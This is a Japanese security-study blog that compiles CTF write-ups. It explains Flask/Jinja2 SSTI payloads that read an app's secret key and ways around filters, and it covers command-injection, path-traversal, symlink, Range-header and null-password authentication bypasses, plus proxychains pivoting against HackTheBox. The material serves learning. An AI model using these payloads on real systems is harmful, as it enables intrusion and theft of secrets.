セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

Flask Jinja2 url_for.__globals__ などについて(pyjail)

あらまし

HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい

CTF的 Flaskに対する攻撃まとめ - Qiita

CTFでurl_for.__globals__など(PyJailと呼ばれているっぽい)SSTIを使ってフラグなどにアクセスする問題があるんですが、そもそも何のためにそんな変数が用意されているのか調べました。上の記事ではこんな感じでリストアップされています。

/echo?q={{self.__dict__}}
/echo?q={{url_for.__globals__.current_app.__dict__}}
/echo?q={{get_flashed_messages.__globals__.current_app.__dict__}}
/echo?q={{request._load_form_data.__globals__.current_app.__dict__}}
/echo?q={{g.get.__globals__.sys.modules.app.app.__dict__}}
/echo?q={{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}
#引用元: https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f


前後のアンダースコア2つ

pythonに疎いのでまずアンダースコアについて調べます。

Python Magic Method


magic methodと呼ばれるものになるそう。python自身がオブジェクトを扱う標準プロセスで使用するものだそうで、例えば演算+をする時__add__が呼び出される。__add__を書き換えておけば、+演算をしてもその変更したメソッドが呼ばれるようになる、みたいなだと思う。今回の件とどこまで関係があるかはわかりませんが。

__globals____dict__

3. Data model — Python 3.9.2 documentation

こちらリンク先のCallable typesの節で、ユーザが定義する関数に生えるSpecial attributesとして__globals____dict__が紹介されてます。関数の__dict__はよくわかりませんが(古い投稿はあった__globals__はその関数が定義された名前空間の変数は見えそうですね。

__globals__

val1 = 1111
val2 = 2222

def func1():
    pass

print(func1.__globals__)
#=>{'func1': <function func1 at 0x7f6d5d3df650>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}
val1 = 1111
val2 = 2222

def func1():
    val3 = 3333
    def func2():
        pass
    print(func2.__globals__)

func1()
#=>{'func1': <function func1 at 0x7fd7972de9d0>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}

importを使って関数を読んだ場合の挙動を確認

#testmod.py
def test_mod_func():
    pass

val3=333
#test1.py
import testmod
val1 = 1111
val2 = 2222

def func1():
    val3 = 3333
    def func2():
        pass

print(testmod.test_mod_func.__globals__)

実行結果

$ python test1.py | grep val1
$ python test1.py | grep val2
$ python test1.py | grep val3
....snip...
, 'test_mod_func': <function test_mod_func at 0x7f30a9b7add0>, 'val3': 333, '__name__': 'testmod', '__package__': None, '__doc__': None}

モジュールとして読み込んだ関数経由だとそのモジュール内のものしか見えないようです。

__dict__

組み込み型 — Python 3.9.2 ドキュメント

一方__dict__はオブジェクトに映えているようで、例えばクラスの__dict__にはクラス内の属性が入っているらしい。

val1=1111
val2=2222
class Test():
    val3=3333

a = Test()
print(Test.__dict__) #=>{'val3': 3333, '__module__': '__main__', '__doc__': None}
print(a.__dict__)      #=>{}
print(a.val3)              #=>3333
print(a.__globals__)#=>AttributeError: Test instance has no attribute '__globals__'

インスタンスにすると__dict__が空になるのはちょっとまだ追いきれていないです。。
ので、__globals____dict__も別に特別な何かというわけではないっぽい。

テンプレートエンジンとjinja2とFlaskとSSTI

CTFでよく使われるpythonフレームワークFlaskでそのテンプレートエンジンがjinja2なので、これの情報ばっかり出てくる。ので、ここでもそれを参考にいたします。

次のアプリケーションを想定

from flask import Flask, render_template_string, request

app = Flask(__name__)
app.secret_key = 'testtest'

val1=1111
@app.route('/', methods=['GET'])
def index():
    return render_template_string('{{'+request.args.get('ssti')+'}}')

app.run(host='localhost', port=8080)

次のペイロードをみてみる

url_for.__globals__.current_app.__dict__

API — Flask Documentation (1.1.x)

url_forはドキュメントの通り関数のようです。

$ curl 'http://localhost:8080/?ssti=url_for.__class__'
&lt;type &#39;function&#39;&gt;

と言うことで、__globals__も生えているはず

$ curl 'http://localhost:8080/?ssti=url_for.__globals__'                                                                                                   {&#39;find_package&#39;: &lt;function find_package at 0x7f44bfd50050&gt;, &#39;_find_package_path&#39;: &lt;function _find_package_path at 0x7f44bfd48f50&gt;, &#39;get_load_dotenv&#39;: &lt;function get_load_dotenv at 0x7f44..............snip

映えてました。

https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app

Flask の session と g そしてコンテキスト | 民主主義に乾杯

次のcurrent_appは直接appにアクセスしないためにある変数のようです。ちゃんとは理解していませんが、appが保持しているものを覗けそうです。説明を抜粋すると

This is only available when an application context is pushed. This happens automatically during requests and CLI commands. It can be controlled manually with app_context().
#引用:https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app

とあるので、今回はduring requestsの箇所に該当しそうです。url_for.__globals__で定義されたグローバル変数を覗けるので、それ経由で呼べます。

$ curl 'http://localhost:8080/?ssti=self.current_app' #=>レスポンスなし
$ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app'
&lt;Flask &#39;test&#39;&gt;


最後の__dict__は上の方で調べた通り、オブジェクト内の属性などを保持しているらしいので、これを呼べばappに定義した変数などを見れそう。

$ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app.__dict__'
{&#39;subdomain_matching&#39;: False, &#39;error_handler_spec&#39;: {None: {}}, &#39;
............snip.................
 &#39;DEBUG&#39;: False, &#39;SECRET_KEY&#39;: &#39;testtest&#39;, &#39;
............snip.................
&#39;: []}

app.secret_key = 'testtest'ここが覗けました。フラグとか鍵とかその他設定を覗かせる問題に使えそうですね。

その他ペイロードを組み立てるなど

この記事が詳しそう Jinja2 SSTI Research - HackMD

基本的に問題では入力に対してパターンマッチなどで制限をかけてることがありそうですね。

CTFtime.org / HackIT CTF 2018 / Believer Case / Writeup

入力をGETクエリなどで受け取る場合

ブラックリストなどを作って、入力値を検証するのが良さそう。ただ

  • .が禁止されているなら、url_for['__globals__']
  • _が禁止されているなら、url_for['\x5f\x5fglobals\x5f\x5f']
  • globalsがが禁止されているなら、url_for['__\x67lobals__']

などすれば単純なチェックはすり抜けられるので、結構注意が必要

入力をパスで受け取る場合

HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい

上のサイトで紹介されているように、@app.route("/<path:template>")みたいな感じで受け取る場合はurl_for['__\x67lobals__']のようなasciiで指定するパターンでエラーが起こる(サーバエラー)ので、単純なブラックリストで対策できそう。

こんな形で、前者のパターンだとかなりいろんな方法で抜け道ができそうなので、注意かも。

「復習」zer0pts CTF 

初めに

Writeupが読みたい方はこちらの参考リンク先の方を見ていただいた方が良いと思われます、、!

CTFtime.org / zer0pts CTF 2021 / Kantan Calc / Writeup

zer0pts CTF 2021 - Kantan Calc · Issue #22 · aszx87410/ctf-writeups · GitHub

Kantan Calc (zer0pts CTF)

最終的に次を作成することを目指す。

(function () { return (a)=>()=>(a+"")[0]})()(()=>{; /* ${FLAG} */ })()


まず関数をtoString()をすることで、文字列として出力できる。

> function a() {}
undefined
> console.log(a+'')
function a() {}

arguments.calleeで関数自身を呼ぶことができるので、次のようにかける

> a =(function(){return arguments.callee.toString()})
[Function: a]
> a()
'function(){return arguments.callee.toString()}'
> (function(){return arguments.callee.toString()})()
'function(){return arguments.callee.toString()}'

この例のカッコの使い方は次を見るとわかりやすい

> (function(){return 'test'})()
'test'
> a=(function(){return 'test'})
[Function: a]
> a()
'test'

() を末尾につけることで定義した関数をすぐ呼びさせている。
次にアロー関数の解釈。

JavaScript/関数/アロー関数 [Ore Base]

安直に理解しようとするなら今回目指す形は引数を2つ取れるような書き方をしていると解釈できる。

> (function () { return (a)=>(b)=>(a+b)})() ('test')('1111')
'test1111'
> (function () { return (a)=>(b)=>(a+b)})() ('test')()
'testundefined'


あとは、引数 a にフラグが含まれている部分を関数()=>{; /* ${FLAG} */ }として渡すことで、a+''=a.toString()を実現し、フラグを返している。
問題ではフラグのプレフィックスが含まれているとフィルターされるので、配列として1文字ずつ返却するようにしているようです。

GuestFS:AFR (zer0pts CTF)

シンボリックリンクとファイル作成をできるサイトで、ルートにあるフラグファイルを表示させる問題。 問題のキーとなる箇所はここ

/* Target file must exist */
$this->assert_file_exists($this->root.$target);

/* Create a symbolic link */
@symlink($target, $this->root.$name);

/* This check ensures $target points to inside user-space */
try {
    $this->validate_filepath(@readlink($this->root.$name));
} catch(Exception $e) {
    /* Revert changes */
    @unlink($this->root.$name);
    throw $e;
}

validate_filepathはファイルパスがルートを示していたり、..パストラバーサルしていないかチェックしている。
解法はまず、以下の関係のファイルとシンボリックリンクを作成

A->B

Bを削除して、A->../../../../../../flagシンボリックリンクを作成すると、../../../../../../flagを指したBが作成されて、フラグが読める。

A->B->../../../../../../flag

恐らく、A->../../../../../../flagの処理をPHPの関数で呼び出すと、Aが保持しているBのパス名が読まれて、最終的にln -s ../../../../../../flag Bと同じ命令が実行されるんじゃないかなと予想。
この時Bをあらかじめ削除していければln -s ../../../../../../flag Bは存在するファイル名Bを指定しているためエラーが発生する。ので、あらかじめBを削除する処理を挟む必要があったんじゃないかな..?

試しにphp実行

削除なしの場合
削除ありの場合

<?php

// creating alink using symlink() function
symlink('A', 'B');
unlink('A');
symlink('flag','B');
?>
kali@kali:~/ctf/zero/sql/test$ ls
A  exp2.php  exp.php  flag
kali@kali:~/ctf/zero/sql/test$ php exp.php 
kali@kali:~/ctf/zero/sql/test$ ls
A  B  exp2.php  exp.php  flag
kali@kali:~/ctf/zero/sql/test$ readlink A
flag


<?php

// creating alink using symlink() function
symlink('A', 'B');
// unlink('A');
symlink('flag','B');
?>
kali@kali:~/ctf/zero/sql/test$ php exp2.php 
PHP Warning:  symlink(): File exists in /home/kali/ctf/zero/sql/test/exp2.php on line 6

0x41414141 CTFとjustCTF [*] 2020(復習)

はじめに

個人的な復習用のまとめなので、writeupを見たい方はこちらの参考サイトを見てください。

ctf/2021/0x41414141/hackme at master · ryan-cd/ctf · GitHub

Writeup: justCTF [*] 2020 - nevi.dev

CTFtime.org / justCTF [*] 2020 / Computeration / Writeup

hackme (0x41414141 CTF)

コマンドを4文字だけ実行できる中で、ルートディレクトリにあるflag.txtを出力する問題。

# catファイルを作成
GET /?cmd=>cat

# ワイルドカードでcatのファイル名を取得してコマンド実行できる
GET /?cmd=*+/f*

sh<filenameとすることでファイル内のコマンドを実行することができるので、catファイルと/f*ファイルを作れば、ls>filenameで実行コマンドのファイルが作れると思ったんですが、「/込のファイル名はだめ」「ls時のファイル並び順で制限がある」「echoなどが使えず/単体をファイルに書き込めない」などで挫折しました。

PDF is broken, and so is this file (justCTF [*] 2020)

PDFファイルの中に隠れているフラグを見つける問題。
xrefで参照されていない9990`4919オブジェクトが怪しい。binwalkで抽出できてしまうので、マジックナンバーで4919のオブジェクトが画像ファイルだとわかる。

$binwalk -e challenge.pdf
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
...
745469        0xB5FFD         Zlib compressed data, default compression
...
$ xxd -r -p B5FFD | file -
/dev/stdin: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 1182x1182, components 3
$ xxd -r -p B5FFD > flag.jpeg

B5FFD.zlibは圧縮されているままのバージョン。B5FFDは回答されたデータがテキストでダンプされているので、それをファイルに保存し直す。

zlibから出力

zlib-flate -uncompressbinwalkに完全に頼らなくても場所がわかれば、ある程度手動でいける。zlib-flateqpdfパッケージに内包。

$zlib-flate -uncompress < B5FFD.zlib | xxd -r -p - > flag.jpeg

Computeration (justCTF [*] 2020)

ReDosの問題。対象にアクセスして応答差からフラグを予測するページを作ってadminに踏ませて解くようです。
ここのページで正規表現の動きが見える。Regex Debuggerを使うと、マッチ試行stepが算出されます。今回のシグネチャ^(?=justCTF{).*.*.*.*.*.*.*!!!$、末尾は絶対にマッチしない文字置くとstep数が圧倒的に増えますね。
f:id:thinline196:20210202173952p:plain

Online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript

asis ctfとHarekaze mini ctf2020 の復習(メモ)

asis ctf 2020

Less secure secrets

プロキシの設定で<secret>(.*)</secret>に囲まれたフラグ部だけが置換されて返される問題。

Substitute s|<secret>(.*)</secret>|Protected|i

Rangeヘッダーを使用して、レスポンスの一部のみを変えさせることで、上の置換対象から外してフラグを取得する。

https://developer.mozilla.org/ja/docs/Web/HTTP/Range_requests

# レスポンスの750byteから800byte目の部分だけをレスポンスに含める。
% curl -H 'Range: bytes=750-810' https://securesecrets.asisctf.com/secret.html
nt the first secret? I think it's "ASIS{L3T5_S74rT_7h3_fUn}".%

Harekaze mini ctf 2020

JWT is secure

writeupは他の方が書いているのでお任せして、正規表現マッチをすり抜ける箇所に苦労したので、そこだけメモします。

// 一部改変
private function getSecretKey($kid) {
  $dir = './keys' . '/' . $kid[0] . '/' . $kid[1];
  $path = $dir . '/' . $kid;

  // no path traversal, no stream wrapper
  if (preg_match('/\.\.|\/\/|:/', $kid)) {
    throw new Exception('Hacking attempt detected');
  }
  if (!file_exists($path) || !is_file($path)) {
    throw new Exception('Secret key not found');
  }

  return file_get_contents($path);
}

カレントディレクトリ配下に./keys/.htaccessがあるのでそれを$pathに指定したい状況。
シェル上では次の方法でcatできた。

$cat ./keys/\/./\./.htaccess
$cat ./keys/'/'/''.htaccess
$cat ./keys/"/"/"".htaccess
$cat ./keys///.//.htaccess 

それに対して、実際にローカルで実行して正常にファイルを取得できた(file_exists($path)とis_file($path)でファイルを取得できた)のは次のものだけ。

file_exists('./keys///.//.htaccess ');

(シェル上から直接phpコード(file_exists(),is_file())を実行すると動作するけど、アプリを動作させて実行すると上の関数でファイルが見つからなかったりした。)

結果的にkidに指定したのは/.htaccess

Avatar Viewer

Harekaze mini CTF 2020 writeup for web challs この方のwriteupを参考にしています。

この問題の肝は認証部分。adminとしてログインできればokで、そのためにパストラバーサルで認証情報を読みたい。

# 配布された認証情報 users['guest']のようにアクセスできる
{
  "guest": "guest",
  "admin-(censored)": "<censored>"
}

けどその前に下のようなパスワードチェックがあるのですり抜けたい。

app.post('/login', async (request, reply) => {
// snip------------------

  if (!('username' in request.body && 'password' in request.body)) {
    request.flash('error', 'username or password is not provided');
    return reply.redirect('/login');
  }

  const { username, password } = request.body;
// snip---------------------------------

  if (users[username] != password) {
    request.flash('error', 'username or password is incorrect');
    return reply.redirect('/login');
  }

  request.session.set('username', username);
  reply.redirect('/profile');
});


users[username] != passwordここが通ればあとはよしなにできる。結果として、ログインリクエストで下のようなJSONを投げると

{
    "username": "hoge",
    "password": null
}


undefined != undefinedの比較になるので、認証をすり抜けられるとのことでした。

チェック

users = {'guest':'guest','admin':'admin'}
console.log(users['hoge'])
console.log(null)
if (users['hoge']==null) console.log('matched')

result

undefined
null
matched

参考

proxychains bashでちょっと楽に

まえがき

proxychains bashbashを立ち上げれは、いちいちオプションを設定せずともコマンド実行時にこの経路を通ってくれるという話を小耳に挟んだので試します。proxychains自体は設定済みの前提で進めます。

構成&下準備

f:id:thinline196:20201209231548p:plain

Mac内で動いているVM(kali)からMacの先Hacktheboxのマシンに繋ぎます。もちろん、何もしなければKaliからHTBのマシンには届きません。
手っ取り早く準備できたのがこの構成なので、この構成自体には特に意味はないです。


MacからHTBopenvpnで繋いておきます。

mac@MacBook-Pro Desktop % sudo openvpn hoge.ovpn
...

Macからマシンへcurlで繋いでみます。

mac@MacBook-Pro ~ % curl http://10.10.10.6/
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
</body></html>

kaliからは繋がりません。

kali@kali:~$ curl http://10.10.10.6/
curl: (7) Couldn't connect to server

Dynamic Port Forward

kali->Macでポートフォワード。proxychainssocks5 127.0.0.1 1080の設定になっています。

skali@kali:~$ sudo ssh -N -D 127.0.0.1:1080  mac@172.16.134.1

これでcurl時にsocks5を指定すれば、hacktheboxのマシンに繋がります。

kali@kali:~$ curl --socks5 127.0.0.1:1080 http://10.10.10.6/
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
</body></html>

ここまでは通常。これだといろんなコマンドで毎回proxychainsだのsocks5だのを書かなきゃいけない気がする。

proxychains bash

proxychains bashで立ち上げたシェルからコマンドを打つと自動的にproxychainsで指定されているプロキシサーバーを経由してくれるとのこと。

kali@kali:~$ proxychains bash                                                                    
ProxyChains-3.1 (http://proxychains.sf.net)                                                      
kali@kali:~$ curl http://10.10.10.6/                                                             
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.6:80-<><>-OK      
<html><body><h1>It works!</h1>                                                                   
<p>This is the default web page for this server.</p>        
<p>The web server software is running but no content has been added, yet.</p>
</body></html>     

おお本当ですね。

kali@kali:~$ nmap --top-ports 10 10.10.10.6
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-09 08:46 EST
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.6:80-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.6:3389-<--timeout
...

PORT     STATE  SERVICE
21/tcp   closed ftp
22/tcp   open   ssh
23/tcp   closed telnet
25/tcp   closed smtp
80/tcp   open   http
110/tcp  closed pop3
139/tcp  closed netbios-ssn
443/tcp  closed https
445/tcp  closed microsoft-ds
3389/tcp closed ms-wbt-server

Nmapもプロキシを指定せずにいけました。場合によっては便利かもです。

余談

当然UDPは現状プロキシを経由しないので、pingとかスキャンなどはその辺りを忘れないようにしないと、ぽかミスしそうです。

参考

www.linuxbabe.com